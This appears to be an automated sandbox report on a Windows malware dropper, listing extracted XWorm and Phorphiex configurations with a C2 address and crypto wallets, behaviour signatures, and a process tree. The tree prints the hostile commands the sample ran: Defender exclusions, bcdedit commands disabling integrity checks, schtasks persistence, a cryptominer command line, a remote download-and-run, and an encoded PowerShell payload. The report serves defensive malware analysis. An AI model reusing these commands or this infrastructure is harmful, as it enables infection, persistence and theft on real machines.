Resubmissions
09/04/2024, 08:32
240409-kfg77aaf851009/04/2024, 08:32
240409-kfglnaaf841009/04/2024, 08:32
240409-kffz5aea2y1009/04/2024, 08:32
240409-kffpcsaf791011/03/2024, 08:03
240311-jxm94afe6y1010/03/2024, 15:15
240310-snee9sfd3y10Analysis
- max time kernel
88s - max time network
544s - platform
windows7_x64 - resource
win7-20240221-en - resource tags
- submitted
09/04/2024, 08:32
Errors
General
- Target FUCKER.exe
- Size 10KB
- Sample240409-kfg77aaf85
- SHA256 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
Malware Config
Extracted
-
xworm
-
91.92.249.37:9049
-
aMtkXNimPlkESDx9
Extracted
-
phorphiex
-
http://185.215.113.66/
-
0xAa3ea4838e8E3F6a1922c6B67E3cD6efD1ff175b
-
THRUoPK7oYqF7YyKZJvPYwTH35JsPZVPto
-
1Hw9tx4KyTq4oRoLVhPb4hjDJcLhEa4Tn6
-
qr89hag2967ef604ud3lw4pq8hmn69n46czwdnx3ut
-
XtxFdsKkRN3oVDXtN2ipcHeNi87basT2sL
-
LXMNcn9D8FQKzGNLjdSyR9dEM8Rsh9NzyX
-
rwn7tb5KQjXEjH42GgdHWHec5PPhVgqhSH
-
ARML6g7zynrwUHJbFJCCzMPiysUFXYBGgQ
-
48jYpFT6bT8MTeph7VsyzCQeDsGHqdQNc2kUkRFJPzfRHHjarBvBtudPUtParMkDzZbYBrd3yntWBQcsnVBNeeMbN9EXifg
-
3PL7YCa4akNYzuScqQwiSbtTP9q9E9PLreC
-
3FerB8kUraAVGCVCNkgv57zTBjUGjAUkU3
-
D9AJWrbYsidS9rAU146ifLRu1fzX9oQYSH
-
t1gvVWHnjbGTsoWXEyoTFojc2GqEzBgvbEn
-
bnb1cgttf7t5hu7ud3c436ufhcmy59qnkd09adqczd
-
bc1q0fusmmgycnhsd5cadsuz2hk8d4maausjfjypqg
-
bitcoincash:qr89hag2967ef604ud3lw4pq8hmn69n46czwdnx3ut
-
GAUCC7ZBSU2KJMHXOZD6AP5LOBGKNDPCDNRYP2CO2ACR63YCSUBNT5QE
Signatures
- Detect Xworm Payload 2 IoCs
- Detect ZGRat V1 21 IoCs
- Glupteba
Glupteba is a modular loader written in Golang with various components.
- Glupteba payload 7 IoCs
- Phorphiex
Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
- Stealc
Stealc is an infostealer written in C++.
- Windows security bypass 2 TTPs 25 IoCs
- Xworm
Xworm is a remote access trojan written in C#.
- ZGRat
ZGRat is remote access trojan written in C#.
- Modifies boot configuration data using bcdedit 14 IoCs
- Downloads MZ/PE file
- Modifies Windows Firewall 2 TTPs 1 IoCs
- Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
- Drops startup file 2 IoCs
- Executes dropped EXE 18 IoCs
- Loads dropped DLL 30 IoCs
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Uses the VBS compiler for execution 1 TTPs
- Windows security modification 2 TTPs 28 IoCs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 8 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 2 IoCs
- Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
- Drops file in Windows directory 9 IoCs
- Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 4 IoCs
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Creates scheduled task(s) 1 TTPs 6 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Enumerates processes with tasklist 1 TTPs 2 IoCs
- Modifies data under HKEY_USERS 64 IoCs
- Modifies system certificate store 2 TTPs 5 IoCs
- Runs net.exe
- Runs ping.exe 1 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 10 IoCs
- Suspicious behavior: SetClipboardViewer 1 IoCs
- Suspicious use of AdjustPrivilegeToken 10 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\FUCKER.exe"C:\Users\Admin\AppData\Local\Temp\FUCKER.exe"1⤵
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\syncUpd.exe"C:\Users\Admin\AppData\Local\Temp\Files\syncUpd.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Local\Temp\FCBAEHCAEG.exe"3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FCBAEHCAEG.exe"C:\Users\Admin\AppData\Local\Temp\FCBAEHCAEG.exe"4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C ping 2.2.2.2 -n 1 -w 3000 > Nul & Del C:\Users\Admin\AppData\Local\Temp\FCBAEHCAEG.exe5⤵
-
C:\Windows\SysWOW64\PING.EXEping 2.2.2.2 -n 1 -w 30006⤵
- Runs ping.exe
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Local\Temp\HJJECBKKEC.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ISetup10.exe"C:\Users\Admin\AppData\Local\Temp\Files\ISetup10.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\d21cbe21e38b385a41a68c5e6dd32f4c.exe"C:\Users\Admin\AppData\Local\Temp\Files\d21cbe21e38b385a41a68c5e6dd32f4c.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\Files\d21cbe21e38b385a41a68c5e6dd32f4c.exe"C:\Users\Admin\AppData\Local\Temp\Files\d21cbe21e38b385a41a68c5e6dd32f4c.exe"3⤵
- Windows security bypass
- Executes dropped EXE
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"4⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes5⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
-
-
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe4⤵
- Executes dropped EXE
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F5⤵
- Creates scheduled task(s)
-
-
C:\Windows\system32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"5⤵
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER6⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:6⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:6⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows6⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe6⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe6⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 06⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn6⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 16⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}6⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast6⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -timeout 06⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}6⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v5⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeC:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe5⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F5⤵
- Creates scheduled task(s)
-
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"5⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)6⤵
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)7⤵
- Launches sc.exe
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\appdata.exe"C:\Users\Admin\AppData\Local\Temp\Files\appdata.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\first.exe"C:\Users\Admin\AppData\Local\Temp\Files\first.exe"2⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'first.exe'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Files\first.exe'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\pinf.exe"C:\Users\Admin\AppData\Local\Temp\Files\pinf.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\2089531801.exeC:\Users\Admin\AppData\Local\Temp\2089531801.exe3⤵
- Windows security bypass
- Executes dropped EXE
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\350630453.exeC:\Users\Admin\AppData\Local\Temp\350630453.exe4⤵
- Windows security bypass
- Executes dropped EXE
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: SetClipboardViewer
-
C:\Users\Admin\AppData\Local\Temp\2191930072.exeC:\Users\Admin\AppData\Local\Temp\2191930072.exe5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\2528922622.exeC:\Users\Admin\AppData\Local\Temp\2528922622.exe5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\1435824446.exeC:\Users\Admin\AppData\Local\Temp\1435824446.exe5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\2101319596.exeC:\Users\Admin\AppData\Local\Temp\2101319596.exe5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\208925959.exeC:\Users\Admin\AppData\Local\Temp\208925959.exe4⤵
- Windows security bypass
- Executes dropped EXE
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
-
-
C:\Users\Admin\AppData\Local\Temp\2762831398.exeC:\Users\Admin\AppData\Local\Temp\2762831398.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\837431945.exeC:\Users\Admin\AppData\Local\Temp\837431945.exe4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c shutdown /r5⤵
-
C:\Windows\SysWOW64\shutdown.exeshutdown /r6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\200922306.exeC:\Users\Admin\AppData\Local\Temp\200922306.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\1619820342.exeC:\Users\Admin\AppData\Local\Temp\1619820342.exe5⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\swiiii.exe"C:\Users\Admin\AppData\Local\Temp\Files\swiiii.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2080 -s 2564⤵
- Program crash
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ma.exe"C:\Users\Admin\AppData\Local\Temp\Files\ma.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp82D6.tmp.bat""3⤵
- Loads dropped DLL
-
C:\Windows\system32\timeout.exetimeout 34⤵
- Delays execution with timeout.exe
-
-
C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"5⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"6⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o fr-zephyr.miningocean.org:5342 -u ZEPHYR2dNRNd7BpuKZoXnqZu7WiTzoMXE8EhzsTJDnXV9ZDksih16M2EazfmCb3ax9Z78hH9iJMxSQE1NBkPCK6W3M8SBGcc7ZC2z -p work -a rx/0 --donate-level 1 --opencl5⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\riviera_tour_sochi.pdf.exe"C:\Users\Admin\AppData\Local\Temp\Files\riviera_tour_sochi.pdf.exe"2⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Roaming\Riviera_tour_Sochi.pdf"3⤵
-
-
C:\Users\Admin\AppData\Roaming\Violator.exeC:\Users\Admin\AppData\Roaming\Violator.exe3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k move Jacob Jacob.bat & Jacob.bat & exit4⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist5⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SysWOW64\findstr.exefindstr /I "wrsa.exe opssvc.exe"5⤵
-
-
C:\Windows\SysWOW64\tasklist.exetasklist5⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SysWOW64\findstr.exefindstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"5⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c md 140705⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c copy /b 14070\Cumshot.pif + Os + Personals + Productivity + Green + Treasures 14070\Cumshot.pif5⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c copy /b Vegas + Commentary + Dairy 14070\E5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\14070\Cumshot.pif14070\Cumshot.pif 14070\E5⤵
-
C:\Windows\SysWOW64\cmd.execmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TrackFuse.url" & echo URL="C:\Users\Admin\AppData\Local\FuseTrack Solutions\TrackFuse.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TrackFuse.url" & exit6⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c schtasks.exe /create /tn "Necessary" /tr "wscript 'C:\Users\Admin\AppData\Local\FuseTrack Solutions\TrackFuse.js'" /sc minute /mo 3 /F6⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks.exe /create /tn "Necessary" /tr "wscript 'C:\Users\Admin\AppData\Local\FuseTrack Solutions\TrackFuse.js'" /sc minute /mo 3 /F7⤵
- Creates scheduled task(s)
-
-
-
-
C:\Windows\SysWOW64\PING.EXEping -n 5 127.0.0.15⤵
- Runs ping.exe
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2000 -s 5124⤵
- Program crash
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\elevator.exe"C:\Users\Admin\AppData\Local\Temp\Files\elevator.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\jeditor.exe"C:\Users\Admin\AppData\Local\Temp\Files\jeditor.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\WEBDOWN.EXE"C:\Users\Admin\AppData\Local\Temp\Files\WEBDOWN.EXE" http://www.ojang.pe.kr/CALENDAR/DOWN/JEDITOR/JEDITOR.EXE "C:/Users/Admin/AppData/Local/Temp/Files/jeditor.exe" RUN3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\jeditor.exeC:\Users\Admin\AppData\Local\Temp\Files\jeditor.exe4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\up.exe"C:\Users\Admin\AppData\Local\Temp\Files\up.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\KB824105-x86-ENU.exe"C:\Users\Admin\AppData\Local\Temp\Files\KB824105-x86-ENU.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c net use3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\net.exenet use4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\cp.exe"C:\Users\Admin\AppData\Local\Temp\Files\cp.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\net.exe"C:\Users\Admin\AppData\Local\Temp\Files\net.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\timeSync.exe"C:\Users\Admin\AppData\Local\Temp\Files\timeSync.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Local\Temp\IEGCAAKFBA.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\IEGCAAKFBA.exe"C:\Users\Admin\AppData\Local\Temp\IEGCAAKFBA.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C ping 2.2.2.2 -n 1 -w 3000 > Nul & Del C:\Users\Admin\AppData\Local\Temp\IEGCAAKFBA.exe5⤵
-
C:\Windows\SysWOW64\PING.EXEping 2.2.2.2 -n 1 -w 30006⤵
- Runs ping.exe
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Local\Temp\IIIECAAKEC.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\VLTKBacdau.exe"C:\Users\Admin\AppData\Local\Temp\Files\VLTKBacdau.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\crypted_33cb9091.exe"C:\Users\Admin\AppData\Local\Temp\Files\crypted_33cb9091.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3736 -s 5403⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\LummaC2.exe"C:\Users\Admin\AppData\Local\Temp\Files\LummaC2.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2860 -s 1243⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Ama2.exe"C:\Users\Admin\AppData\Local\Temp\Files\Ama2.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\alex12.exe"C:\Users\Admin\AppData\Local\Temp\Files\alex12.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\configurationValue\fate.exe"C:\Users\Admin\AppData\Roaming\configurationValue\fate.exe"4⤵
-
-
C:\Users\Admin\AppData\Roaming\configurationValue\olehpsp.exe"C:\Users\Admin\AppData\Roaming\configurationValue\olehpsp.exe"4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\PCSupport.exe"C:\Users\Admin\AppData\Local\Temp\Files\PCSupport.exe"2⤵
-
C:\Users\Admin\AppData\Local\PhantomSoft\Support\winvnc.exeC:\Users\Admin\AppData\Local\PhantomSoft\Support\winvnc.exe3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\$77_loader.exe"C:\Users\Admin\AppData\Local\Temp\Files\$77_loader.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\_tlsc4ar.cmdline"3⤵
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4616.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC4605.tmp"4⤵
-
-
-
C:\Windows\system32\chcp.com"C:\Windows\system32\chcp.com" 4373⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\strt.exe"C:\Users\Admin\AppData\Local\Temp\Files\strt.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\yoffens_crypted_EASY.exe"C:\Users\Admin\AppData\Local\Temp\Files\yoffens_crypted_EASY.exe"2⤵
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=yoffens_crypted_EASY.exe&platform=0009&osver=5&isServer=0&shimver=4.0.30319.03⤵
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3604 CREDAT:275457 /prefetch:24⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\bd2.exe"C:\Users\Admin\AppData\Local\Temp\Files\bd2.exe"2⤵
-
C:\Windows\SysWOW64\wscript.exe"wscript.exe" "C:\Users\Admin\start.vbs"3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\temp.bat" "4⤵
-
C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIH